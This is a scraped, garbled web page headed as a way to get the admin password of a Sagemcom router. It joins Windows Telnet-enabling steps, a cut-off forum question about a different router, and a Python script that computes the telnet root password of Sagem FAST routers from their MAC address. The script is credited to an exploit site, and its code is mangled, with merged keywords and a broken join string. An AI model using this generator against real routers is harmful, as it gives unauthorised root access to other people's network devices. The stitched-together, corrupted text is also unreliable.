Sagemcom F@ST 3864 V2 - Get Admin Password
Option 1: Enable Telnet using GUI. To activate the Telnet command using the GUI: 1. Open the Programs and Features options in Control Panel: 2. Click the Turn Windows features on or off setting: 3. Locate the Telnet Client option on the list, select it and click OK to install the feature: 4. The Telnet command can be used to test connectivity on a certain port. Telnet is not enabled by default. To install it on Windows, follow these steps: Open the Control Panel. Go to Programs and Features. Select the “Turn Windows features on or off” option. Check the “Telnet Client” box. Hi, I have the 2704n, which I use and administer from a Mac OS X 10.12 (Sierra). However, I need to configure this router in more detail than the web interface allows for. The problem is that I am suprised by the behaviour of the name resolution services. I need to get this working predictably becau.
'' |
SAGEM ROUTER FAST 3304/3464/3504 - telnet root password generator. |
Work based on: http://1337day.com/exploit/16687 |
'' |
importsys |
defmash(a,b): |
ifa>b: |
b, a=a, b |
aa=int(a, 16) |
bb=int(b, 16) |
ifbb<10: |
ifaa+bb<=9: |
returnchr(ord(a) +bb) |
else: |
# FIXED: original code: |
# hex(ord(first)+int(second,16)) |
# doesn't seem to produce correct characters |
returnhex(aa+bb)[2:] |
else: |
returnchr(ord(b) +aa) |
mac=sys.argv[1] |
mac=mac.translate(None, ':- ').lower() |
print'MAC: '+mac |
password= [] |
password.append(mash(mac[5], mac[11])) |
password.append(mash(mac[0], mac[2])) |
password.append(mash(mac[10],mac[11])) |
password.append(mash(mac[0], mac[9])) |
password.append(mash(mac[10],mac[6])) |
password.append(mash(mac[3], mac[9])) |
password.append(mash(mac[1], mac[6])) |
password.append(mash(mac[3], mac[4])) |
password='.join(password) |
print'Password: '+password |